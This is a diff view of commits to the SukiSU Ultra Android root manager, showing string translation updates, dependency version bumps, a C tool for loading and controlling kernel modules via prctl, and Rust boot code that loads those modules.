<string name="root_required">需要 root 权限</string> <string name="root_required">需要 root 权限</string>
<string name="copy_failed">文件复制失败</string> <string name="copy_failed">文件复制失败</string>
<string name="reboot_complete_title">刷写完成</string> <string name="reboot_complete_title">刷写完成</string>
@@ -225,13 +229,67 @@
<string name="kpm_empty">暂无已安装的内核模块</string> <string name="kpm_empty">暂无已安装的内核模块</string>
<string name="kpm_version">版本</string> <string name="kpm_version">版本</string>
<string name="kpm_author">作者</string> <string name="kpm_author">作者</string>
<string name="kpm_execute">执行</string>
<string name="kpm_uninstall">卸载</string> <string name="kpm_uninstall">卸载</string>
<string name="kpm_uninstall_confirm">确定要卸载内核模块 %1$s 吗?</string>
<string name="kpm_uninstall_success">卸载成功</string> <string name="kpm_uninstall_success">卸载成功</string>
<string name="kpm_uninstall_failed">卸载失败</string> <string name="kpm_uninstall_failed">卸载失败</string>
<string name="kpm_install">安装kpm模块</string> <string name="kpm_install">选择安装</string>
<string name="kpm_install_confirm">确认安装吗?</string> <string name="kpm_install_success">加载 kpm 模块成功</string>
<string name="kpm_install_success">安装kpm模块成功</string> <string name="kpm_install_failed">加载 kpm 模块失败</string>
<string name="kpm_install_failed">安装kpm模块失败</string> <string name="home_kpm_version">KPM 版本</string>
<string name="kpm_control">调参</string>
<string name="close_notice">关闭</string>
<string name="kpm_control_success">成功</string>
<string name="kpm_control_failed">错误</string>
<string name="not_supported">不支持</string>
<string name="supported">支持</string>
<string name="home_kpm_module">KPM 模块数:%d </string>
<string name="kpm_invalid_file">KPM 文件无效</string>
<string name="kernel_patched">内核未进行补丁</string>
<string name="kernel_not_enabled">内核未配置</string>
<string name="kernel_module_notice">以下内核模块功能由 KernelPatch 开发,经过修改后加入 SukiSU Ultra 的内核模块功能</string>
<string name="home_ContributionCard_kernelsu">SukiSU Ultra 展望</string>
<string name="home_click_to_ContributionCard_kernelsu">SukiSU Ultra 未来将会成为一个相对独立的 KSU 分支,但是依然感谢官方 KernelSU 和 MKSU 等做出的贡献</string>
<string name="custom_settings">个性化设置</string>
<string name="kpm_install_mode">安装</string>
<string name="kpm_install_mode_load">加载</string>
<string name="kpm_install_mode_embed">嵌入</string>
<string name="kpm_install_mode_description">请选择: %1\$s 模块的安装模式 \n\n加载临时加载模块\n嵌入永久安装到系统</string>
<string name="snackbar_failed_to_check_module_file">无法检查模块文件是否存在</string>
<string name="confirm_uninstall_title">确认卸载</string>
<string name="confirm_uninstall_confirm">删除</string>
<string name="confirm_uninstall_dismiss">取消</string>
<string name="theme_color">主题颜色</string>
<string name="invalid_file_type">文件类型不正确,请选择 .kpm 文件</string>
<string name="confirm_uninstall_title_with_filename">卸载</string>
<string name="confirm_uninstall_content">将卸载以下 kpm 模块:\n%s</string>
<string name="image_editor_title">调整背景图片</string>
<string name="image_editor_hint">使用双指缩放图片,单指拖动调整位置</string>
<string name="background_image_error">无法加载图片</string>
<string name="reprovision">重置</string>
<!-- Anykernel3 Kernel刷写进度相关 -->
<string name="horizon_flash_title">刷写Kernel</string>
<string name="horizon_logs_label">日志:</string>
<string name="horizon_flash_complete">刷写完成</string>
<!-- 刷写状态相关 -->
<string name="horizon_preparing">准备中…</string>
<string name="horizon_cleaning_files">清理文件…</string>
<string name="horizon_copying_files">复制文件…</string>
<string name="horizon_extracting_tool">提取刷写工具…</string>
<string name="horizon_patching_script">修补刷写脚本…</string>
<string name="horizon_flashing">刷写内核中…</string>
<string name="horizon_flash_complete_status">刷写完成</string>
<!-- 槽位选择相关字符串 -->
<string name="select_slot_title">选择刷写槽位</string>
<string name="select_slot_description">请选择要刷写boot的目标槽位</string>
<string name="slot_a">A槽位</string>
<string name="slot_b">B槽位</string>
<string name="selected_slot">已选择槽位: %1$s</string>
<!-- 错误信息 -->
<string name="horizon_copy_failed">复制失败</string>
<string name="horizon_unknown_error">未知错误</string>
<string name="horizon_getting_original_slot">获取原有槽位</string>
<string name="horizon_setting_target_slot">设置指定槽位</string>
<string name="horizon_restoring_original_slot">恢复默认槽位</string>
<string name="current_slot">当前槽位:%1$s </string>
<string name="flash_failed_message">刷写失败</string>
</resources> </resources>

View File

@@ -1,6 +1,6 @@
<?xml version="1.0" encoding="utf-8"?> <?xml version="1.0" encoding="utf-8"?>
<resources> <resources>
<string name="app_name" translatable="false">SukiSU</string> <string name="app_name" translatable="false">SukiSU Ultra</string>
<string name="home">Home</string> <string name="home">Home</string>
<string name="home_not_installed">Not installed</string> <string name="home_not_installed">Not installed</string>
<string name="home_click_to_install">Click to install</string> <string name="home_click_to_install">Click to install</string>
@@ -10,9 +10,9 @@
<string name="home_module_count">Modules: %d</string> <string name="home_module_count">Modules: %d</string>
<string name="home_unsupported">Unsupported</string> <string name="home_unsupported">Unsupported</string>
<string name="home_unsupported_reason">No KernelSU driver detected on your kernel, wrong kernel?.</string> <string name="home_unsupported_reason">No KernelSU driver detected on your kernel, wrong kernel?.</string>
<string name="home_kernel">Kernel</string> <string name="home_kernel">Kernel version</string>
<string name="home_susfs">SuSFS: %s</string> <string name="home_susfs">SuSFS: %s</string>
<string name="home_susfs_version">Version de SuSFS</string> <string name="home_susfs_version">SuSFS Version</string>
<string name="home_susfs_sus_su">SuS SU</string> <string name="home_susfs_sus_su">SuS SU</string>
<string name="home_manager_version">Manager version</string> <string name="home_manager_version">Manager version</string>
<string name="home_fingerprint">Fingerprint</string> <string name="home_fingerprint">Fingerprint</string>
@@ -75,8 +75,7 @@
<string name="require_kernel_version" formatted="false">The current KernelSU version %d is too low for the manager to work properly. Please upgrade to version %d or higher!</string> <string name="require_kernel_version" formatted="false">The current KernelSU version %d is too low for the manager to work properly. Please upgrade to version %d or higher!</string>
<string name="settings_umount_modules_default">Umount modules by default</string> <string name="settings_umount_modules_default">Umount modules by default</string>
<string name="settings_umount_modules_default_summary">The global default value for \"Umount modules\" in App Profile. If enabled, it will remove all module modifications to the system for apps that don\'t have a profile set.</string> <string name="settings_umount_modules_default_summary">The global default value for \"Umount modules\" in App Profile. If enabled, it will remove all module modifications to the system for apps that don\'t have a profile set.</string>
<string name="settings_susfs_toggle">Cacher les hooks kprobe</string> <string name="settings_susfs_toggle">Disable kprobe hooks</string>
<string name="settings_susfs_toggle_summary">Désactive les hooks kprobe créés par KSU et, à la place, active les hooks non-kprobe intégrés, implémentant les mêmes fonctionnalités qui seraient appliquées à un kernel non-GKI, qui ne supportent krpobe.</string>
<string name="profile_umount_modules_summary">Enabling this option will allow KernelSU to restore any modified files by the modules for this app.</string> <string name="profile_umount_modules_summary">Enabling this option will allow KernelSU to restore any modified files by the modules for this app.</string>
<string name="profile_selinux_domain">Domain</string> <string name="profile_selinux_domain">Domain</string>
<string name="profile_selinux_rules">Rules</string> <string name="profile_selinux_rules">Rules</string>
@@ -171,71 +170,130 @@
<string name="allowlist_restore_failed">Allowlist restore failed: %1$s</string> <string name="allowlist_restore_failed">Allowlist restore failed: %1$s</string>
<string name="backup_allowlist">Backup Allowlist</string> <string name="backup_allowlist">Backup Allowlist</string>
<string name="restore_allowlist">Restore Allowlist</string> <string name="restore_allowlist">Restore Allowlist</string>
<string name="settings_custom_background">settings custom background</string> <string name="settings_custom_background">Custom App Background</string>
<string name="settings_custom_background_summary">settings custom background summary</string> <string name="settings_custom_background_summary">Select an image as background</string>
<string name="settings_card_manage">card manage</string> <string name="settings_card_alpha">Navigation bar transparency</string>
<string name="settings_card_alpha">card alpha</string> <string name="settings_restore_default">Restore default</string>
<string name="settings_restore_default">restore default</string>
<string name="home_android_version">Android version</string> <string name="home_android_version">Android version</string>
<string name="home_device_model">device model</string> <string name="home_device_model">Device model</string>
<string name="su_not_allowed">Granting superuser to %s is not allowed</string> <string name="su_not_allowed">Granting superuser to %s is not allowed</string>
<string name="settings_disable_su">Disable su compatibility</string> <string name="settings_disable_su">Disable su compatibility</string>
<string name="settings_disable_su_summary">Temporarily disable any applications from obtaining root privileges via the su command (existing root processes will not be affected).</string> <string name="settings_disable_su_summary">Temporarily disable any applications from obtaining root privileges via the su command (existing root processes will not be affected).</string>
<string name="using_mksu_manager">You are using the MKSU third-party manager</string> <string name="using_mksu_manager">You are using the SukiSU Beta manager</string>
<string name="module_install_multiple_confirm">Are you sure you want to install the selected %d modules?</string> <string name="module_install_multiple_confirm">Are you sure you want to install the selected %d modules?</string>
<string name="module_install_multiple_confirm_with_names">Sure you want to install the following %1$d modules? \n\n%2$s</string> <string name="module_install_multiple_confirm_with_names">Sure you want to install the following %1$d modules? \n\n%2$s</string>
<string name="more_settings">more settings</string> <string name="more_settings">More settings</string>
<string name="selinux">SELinux</string> <string name="selinux">SELinux</string>
<string name="selinux_enabled">Enabled</string> <string name="selinux_enabled">Enabled</string>
<string name="selinux_disabled">Disabled</string> <string name="selinux_disabled">Disabled</string>
<string name="simple_mode">simplicity mode</string> <string name="simple_mode">Simplicity mode</string>
<string name="simple_mode_summary">Hides unnecessary cards when turned on</string> <string name="simple_mode_summary">Hides unnecessary cards when turned on</string>
<string name="hide_kernel_kernelsu_version">Hide kernel version</string> <string name="hide_kernel_kernelsu_version">Hide kernel version</string>
<string name="hide_kernel_kernelsu_version_summary">Hide kernel version</string> <string name="hide_kernel_kernelsu_version_summary">Hide kernel version</string>
<string name="theme_mode">Theme Mode</string> <string name="hide_other_info">Hide other info</string>
<string name="theme_follow_system">follow-up system</string> <string name="hide_other_info_summary">Hides information about the number of super users, modules and KPM modules on the home page</string>
<string name="theme_light">light color</string> <string name="hide_susfs_status">Hide SuSFS status</string>
<string name="theme_dark">dark colored</string> <string name="hide_susfs_status_summary">Hide SuSFS status information on the home page</string>
<string name="theme_mode">Theme</string>
<string name="theme_follow_system">Follow system</string>
<string name="theme_light">Light</string>
<string name="theme_dark">Dark</string>
<string name="manual_hook">Manual Hook</string> <string name="manual_hook">Manual Hook</string>
<string name="dynamic_color_title">Dynamic colours</string> <string name="dynamic_color_title">Dynamic colours</string>
<string name="dynamic_color_summary">Dynamic colours using system themes</string> <string name="dynamic_color_summary">Dynamic colours using system themes</string>
<string name="choose_theme_color">Choose a theme colour</string> <string name="choose_theme_color">Choose a theme colour</string>
<string name="color_default">White</string> <string name="color_default">White</string>
<string name="color_blue">blue</string> <string name="color_blue">Blue</string>
<string name="color_green">green</string> <string name="color_green">Green</string>
<string name="color_purple">purple</string> <string name="color_purple">Purple</string>
<string name="color_orange">orange</string> <string name="color_orange">Orange</string>
<string name="color_pink">pink</string> <string name="color_pink">Pink</string>
<string name="color_gray">gray</string> <string name="color_gray">Gray</string>
<string name="color_ivory">ivory</string> <string name="color_ivory">Ivory</string>
<string name="flash_option">Brush Options</string> <string name="flash_option">Brush Options</string>
<string name="flash_option_tip">Select the file to be flashed</string> <string name="flash_option_tip">Select the file to be flashed</string>
<string name="horizon_kernel">Anykernel3 Flush</string> <string name="horizon_kernel">Install Anykernel3</string>
<string name="horizon_kernel_summary">Flash AnyKernel3 kernel file</string>
<string name="root_required">Requires root privileges</string> <string name="root_required">Requires root privileges</string>
<string name="copy_failed">File Copy Failure</string> <string name="copy_failed">File Copy Failure</string>
<string name="reboot_complete_title">Scrubbing complete</string> <string name="reboot_complete_title">Scrubbing complete</string>
<string name="reboot_complete_msg">Whether to reboot immediately</string> <string name="reboot_complete_msg">Whether to reboot immediately</string>
<string name="yes">yes</string> <string name="yes">Yes</string>
<string name="no">no</string> <string name="no">No</string>
<string name="failed_reboot">Reboot Failed</string> <string name="failed_reboot">Reboot Failed</string>
<string name="batch_authorization">bulk license</string> <string name="batch_authorization">Bulk license</string>
<string name="batch_cancel_authorization">Batch cancel authorization</string> <string name="batch_cancel_authorization">Batch cancel authorization</string>
<string name="backup">Backup</string> <string name="backup">Backup</string>
<string name="color_yellow">Yellow</string> <string name="color_yellow">Yellow</string>
<string name="kpm">kpm module</string> <string name="kpm">Kernel Module</string>
<string name="kpm_title">kernel module</string> <string name="kpm_title">Kernel Module</string>
<string name="kpm_empty">No installed kernel modules at this time</string> <string name="kpm_empty">No installed kernel modules at this time</string>
<string name="kpm_version">releases</string> <string name="kpm_version">Version</string>
<string name="kpm_author">author</string> <string name="kpm_author">Author</string>
<string name="kpm_execute">fulfillment</string> <string name="kpm_uninstall">Uninstall</string>
<string name="kpm_uninstall">uninstallation</string>
<string name="kpm_uninstall_confirm">Determine the kernel module to uninstall: %1$s </string>
<string name="kpm_uninstall_success">Uninstalled successfully</string> <string name="kpm_uninstall_success">Uninstalled successfully</string>
<string name="kpm_uninstall_failed">Failed to uninstall</string> <string name="kpm_uninstall_failed">Failed to uninstall</string>
<string name="kpm_install">Installing the kpm module</string> <string name="kpm_install">Install</string>
<string name="kpm_install_confirm">Confirm installation?</string> <string name="kpm_install_success">Load of kpm module successful</string>
<string name="kpm_install_success">Installation of kpm module successful</string> <string name="kpm_install_failed">Load of kpm module failed</string>
<string name="kpm_install_failed">Installation of kpm module failed</string> <string name="kpm_args">Parameters</string>
<string name="kpm_args">kpm 参数</string> <string name="kpm_control">Execute</string>
<string name="kpm_control">kpm 控制</string> <string name="home_kpm_version">KPM Version</string>
<string name="close_notice">Close</string>
<string name="kernel_module_notice">The following kernel module functions were developed by KernelPatch and modified to include the kernel module functions of SukiSU Ultra</string>
<string name="home_ContributionCard_kernelsu">SukiSU Ultra Look forward to</string>
<string name="kpm_control_success">Success</string>
<string name="kpm_control_failed">Failed</string>
<string name="home_click_to_ContributionCard_kernelsu">SukiSU Ultra will be a relatively independent branch of KSU in the future, but we still appreciate the official KernelSU and MKSU etc. for their contributions!</string>
<string name="not_supported">Unsupported</string>
<string name="supported">Supported</string>
<string name="home_kpm_module">"Number of KPM modules: %d "</string>
<string name="kpm_invalid_file">Invalid KPM file</string>
<string name="kernel_patched">Kernel not patched</string>
<string name="kernel_not_enabled">Kernel not configured</string>
<string name="custom_settings">Custom settings</string>
<string name="kpm_install_mode">KPM Install</string>
<string name="kpm_install_mode_load">Load</string>
<string name="kpm_install_mode_embed">Embed</string>
<string name="kpm_install_mode_description">Please select: %1\$s Module Installation Mode \n\nLoad: Temporarily load the module \nEmbedded: Permanently install into the system</string>
<string name="log_failed_to_check_module_file">Failed to check module file existence</string>
<string name="snackbar_failed_to_check_module_file">Unable to check if module file exists</string>
<string name="confirm_uninstall_title">Confirm uninstallation</string>
<string name="confirm_uninstall_confirm">Uninstall</string>
<string name="confirm_uninstall_dismiss">Cancel</string>
<string name="theme_color">Theme Color</string>
<string name="invalid_file_type">Incorrect file type! Please select .kpm file.</string>
<string name="confirm_uninstall_title_with_filename">Uninstall</string>
<string name="confirm_uninstall_content">The following KPM will be uninstalled: %s</string>
<string name="settings_susfs_toggle_summary">Disable kprobe hooks created by KernelSU, using inline hooks instead, which is similar to non-GKI kernel hooking method.</string>
<string name="image_editor_title">Adjust background image</string>
<string name="image_editor_hint">Use two fingers to zoom the image, and one finger to drag it to adjust the position</string>
<string name="background_image_error">Could not load image</string>
<string name="reprovision">Reprovision</string>
<!-- Kernel Flash Progress Related -->
<string name="horizon_flash_title">Kernel Flashing</string>
<string name="horizon_logs_label">Logs:</string>
<string name="horizon_flash_complete">Flash Complete</string>
<!-- Flash Status Related -->
<string name="horizon_preparing">Preparing…</string>
<string name="horizon_cleaning_files">Cleaning files…</string>
<string name="horizon_copying_files">Copying files…</string>
<string name="horizon_extracting_tool">Extracting flash tool…</string>
<string name="horizon_patching_script">Patching flash script…</string>
<string name="horizon_flashing">Flashing kernel…</string>
<string name="horizon_flash_complete_status">Flash completed</string>
<!-- Slot selection related strings -->
<string name="select_slot_title">Select Flash Slot</string>
<string name="select_slot_description">Please select the target slot for flashing boot</string>
<string name="slot_a">Slot A</string>
<string name="slot_b">Slot B</string>
<string name="selected_slot">Selected slot: %1$s</string>
<!-- Error Messages -->
<string name="horizon_copy_failed">Copy failed</string>
<string name="horizon_unknown_error">Unknown error</string>
<string name="horizon_getting_original_slot">Getting the original slot</string>
<string name="horizon_setting_target_slot">Setting the specified slot</string>
<string name="horizon_restoring_original_slot">Restore Default Slot</string>
<string name="current_slot">Current Slot%1$s </string>
<string name="flash_failed_message">Flash failed</string>
</resources> </resources>

View File

@@ -28,8 +28,8 @@ cmaker {
} }
val androidMinSdkVersion = 26 val androidMinSdkVersion = 26
val androidTargetSdkVersion = 35 val androidTargetSdkVersion = 36
val androidCompileSdkVersion = 35 val androidCompileSdkVersion = 36
val androidCompileNdkVersion = "28.0.13004108" val androidCompileNdkVersion = "28.0.13004108"
val androidSourceCompatibility = JavaVersion.VERSION_21 val androidSourceCompatibility = JavaVersion.VERSION_21
val androidTargetCompatibility = JavaVersion.VERSION_21 val androidTargetCompatibility = JavaVersion.VERSION_21

View File

@@ -1,25 +1,25 @@
[versions] [versions]
agp = "8.9.1" agp = "8.9.2"
kotlin = "2.1.10" kotlin = "2.1.10"
ksp = "2.1.10-1.0.30" ksp = "2.1.10-1.0.30"
compose-bom = "2025.02.00" compose-bom = "2025.04.01"
lifecycle = "2.8.7" lifecycle = "2.8.7"
navigation = "2.8.7" navigation = "2.8.9"
activity-compose = "1.10.0" activity-compose = "1.10.1"
kotlinx-coroutines = "1.10.1" kotlinx-coroutines = "1.10.2"
coil-compose = "2.7.0" coil-compose = "2.7.0"
compose-destination = "2.1.0-beta16" compose-destination = "2.1.0"
sheets-compose-dialogs = "1.3.0" sheets-compose-dialogs = "1.3.0"
markdown = "4.6.2" markdown = "4.6.2"
webkit = "1.12.1" webkit = "1.13.0"
appiconloader-coil = "1.5.0" appiconloader-coil = "1.5.0"
parcelablelist = "2.0.1" parcelablelist = "2.0.1"
libsu = "6.0.0" libsu = "6.0.0"
apksign = "1.4" apksign = "1.4"
cmaker = "1.2" cmaker = "1.2"
compose-material = "1.7.8" compose-material = "1.8.0"
compose-material3 = "1.3.1" compose-material3 = "1.3.2"
compose-ui = "1.7.8" compose-ui = "1.8.0"
compose-foundation = "1.7.8" compose-foundation = "1.7.8"
documentfile = "1.0.1" documentfile = "1.0.1"

View File

@@ -13,15 +13,38 @@
#define CMD_KPM_CONTROL_MAX 7 #define CMD_KPM_CONTROL_MAX 7
// 控制代码 // 控制代码
#define SUKISU_KPM_LOAD 1 // prctl(xxx, 28, "PATH", "ARGS")
#define SUKISU_KPM_UNLOAD 2 // success return 0, error return -N
#define SUKISU_KPM_NUM 3 #define SUKISU_KPM_LOAD 28
#define SUKISU_KPM_LIST 4
#define SUKISU_KPM_INFO 5
#define SUKISU_KPM_CONTROL 6
#define SUKISU_KPM_PRINT 7
#define CONTROL_CODE(n) (CMD_KPM_CONTROL + n - 1) // prctl(xxx, 29, "NAME")
// success return 0, error return -N
#define SUKISU_KPM_UNLOAD 29
// num = prctl(xxx, 30)
// error return -N
// success return +num or 0
#define SUKISU_KPM_NUM 30
// prctl(xxx, 31, Buffer, BufferSize)
// success return +out, error return -N
#define SUKISU_KPM_LIST 31
// prctl(xxx, 32, "NAME", Buffer[256])
// success return +out, error return -N
#define SUKISU_KPM_INFO 32
// prctl(xxx, 33, "NAME", "ARGS")
// success return KPM's result value
// error return -N
#define SUKISU_KPM_CONTROL 33
// prctl(xxx, 34, buffer, bufferSize)
// success return KPM's result value
// error return -N
#define SUKISU_KPM_VERSION 34
#define CONTROL_CODE(n) (n)
void print_usage(const char *prog) { void print_usage(const char *prog) {
printf("Usage: %s <command> [args]\n", prog); printf("Usage: %s <command> [args]\n", prog);
@@ -32,7 +55,7 @@ void print_usage(const char *prog) {
printf(" list List loaded KPM modules\n"); printf(" list List loaded KPM modules\n");
printf(" info <name> Get info of a KPM module\n"); printf(" info <name> Get info of a KPM module\n");
printf(" control <name> <args> Send control command to a KPM module\n"); printf(" control <name> <args> Send control command to a KPM module\n");
printf(" print Print KPM module list to stdout\n"); printf(" version Print KPM Loader version\n");
} }
int main(int argc, char *argv[]) { int main(int argc, char *argv[]) {
@@ -47,6 +70,9 @@ int main(int argc, char *argv[]) {
if (strcmp(argv[1], "load") == 0 && argc >= 3) { if (strcmp(argv[1], "load") == 0 && argc >= 3) {
// 加载 KPM 模块 // 加载 KPM 模块
ret = prctl(KSU_OPTIONS, CONTROL_CODE(SUKISU_KPM_LOAD), argv[2], (argc > 3 ? argv[3] : NULL), &out); ret = prctl(KSU_OPTIONS, CONTROL_CODE(SUKISU_KPM_LOAD), argv[2], (argc > 3 ? argv[3] : NULL), &out);
if(out > 0) {
printf("Success");
}
} else if (strcmp(argv[1], "unload") == 0 && argc >= 3) { } else if (strcmp(argv[1], "unload") == 0 && argc >= 3) {
// 卸载 KPM 模块 // 卸载 KPM 模块
ret = prctl(KSU_OPTIONS, CONTROL_CODE(SUKISU_KPM_UNLOAD), argv[2], NULL, &out); ret = prctl(KSU_OPTIONS, CONTROL_CODE(SUKISU_KPM_UNLOAD), argv[2], NULL, &out);
@@ -59,22 +85,25 @@ int main(int argc, char *argv[]) {
// 获取模块列表 // 获取模块列表
char buffer[1024] = {0}; char buffer[1024] = {0};
ret = prctl(KSU_OPTIONS, CONTROL_CODE(SUKISU_KPM_LIST), buffer, sizeof(buffer), &out); ret = prctl(KSU_OPTIONS, CONTROL_CODE(SUKISU_KPM_LIST), buffer, sizeof(buffer), &out);
if (ret >= 0) { if (out >= 0) {
printf("%s", buffer); printf("%s", buffer);
} }
} else if (strcmp(argv[1], "info") == 0 && argc >= 3) { } else if (strcmp(argv[1], "info") == 0 && argc >= 3) {
// 获取指定模块信息 // 获取指定模块信息
char buffer[256] = {0}; char buffer[256] = {0};
ret = prctl(KSU_OPTIONS, CONTROL_CODE(SUKISU_KPM_INFO), argv[2], buffer, &out); ret = prctl(KSU_OPTIONS, CONTROL_CODE(SUKISU_KPM_INFO), argv[2], buffer, &out);
if (ret >= 0) { if (out >= 0) {
printf("%s\n", buffer); printf("%s\n", buffer);
} }
} else if (strcmp(argv[1], "control") == 0 && argc >= 4) { } else if (strcmp(argv[1], "control") == 0 && argc >= 4) {
// 控制 KPM 模块 // 控制 KPM 模块
ret = prctl(KSU_OPTIONS, CONTROL_CODE(SUKISU_KPM_CONTROL), argv[2], argv[3], &out); ret = prctl(KSU_OPTIONS, CONTROL_CODE(SUKISU_KPM_CONTROL), argv[2], argv[3], &out);
} else if (strcmp(argv[1], "print") == 0) { } else if (strcmp(argv[1], "version") == 0) {
// 在 stdout 输出 KPM 列表 char buffer[1024] = {0};
ret = prctl(KSU_OPTIONS, CONTROL_CODE(SUKISU_KPM_PRINT), NULL, NULL, &out); ret = prctl(KSU_OPTIONS, CONTROL_CODE(SUKISU_KPM_VERSION), buffer, sizeof(buffer), &out);
if (out >= 0) {
printf("%s", buffer);
}
} else { } else {
print_usage(argv[0]); print_usage(argv[0]);
return 1; return 1;

View File

@@ -784,7 +784,7 @@ dependencies = [
] ]
[[package]] [[package]]
name = "zakomk" name = "zakozako"
version = "0.1.0" version = "0.1.0"
dependencies = [ dependencies = [
"android-properties", "android-properties",

View File

@@ -1,11 +1,12 @@
[package] [package]
name = "zakomk" name = "zakozako"
version = "0.1.0" version = "0.1.0"
edition = "2024" edition = "2024"
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
[dependencies] [dependencies]
notify = "6.1"
anyhow = "1" anyhow = "1"
clap = { version = "4", features = ["derive"] } clap = { version = "4", features = ["derive"] }
const_format = "0.2" const_format = "0.2"

View File

@@ -1,5 +1,10 @@
____ _ _ _ ____ _____ _____ ____ _ _ ____ _ _
/ ___|| |__(_) |__ | ___|| ____|_ _| / ___| _ _| | _(_) ___|| | | |
\___ \| '_ \ | '_ \|___ \| _| | | \___ \| | | | |/ / \___ \| | | |
___) | | | | | | | ___) | |___ | | ___) | |_| | <| |___) | |_| |
|____/|_| |_|_| |_| |____/|_____| |_| |____/ \__,_|_|\_\_|____/ \___/
_ _ _ _
| | | | | |_ _ __ __ _
| | | | | __| '__/ _\ |
| |_| | | |_| | | (_| |
\___/|_|\__|_| \__,_|

View File

@@ -5,10 +5,13 @@ use anyhow::{Context, Result};
use log::{info, warn}; use log::{info, warn};
use rustix::fs::{MountFlags, mount}; use rustix::fs::{MountFlags, mount};
use std::path::Path; use std::path::Path;
use crate::kpm;
pub fn on_post_data_fs() -> Result<()> { pub fn on_post_data_fs() -> Result<()> {
ksucalls::report_post_fs_data(); ksucalls::report_post_fs_data();
kpm::start_kpm_watcher()?;
utils::umask(0); utils::umask(0);
#[cfg(unix)] #[cfg(unix)]
@@ -98,6 +101,9 @@ pub fn on_post_data_fs() -> Result<()> {
run_stage("post-mount", true); run_stage("post-mount", true);
// load kpm modules
kpm::load_kpm_modules()?;
Ok(()) Ok(())
} }

Some files were not shown because too many files have changed in this diff Show More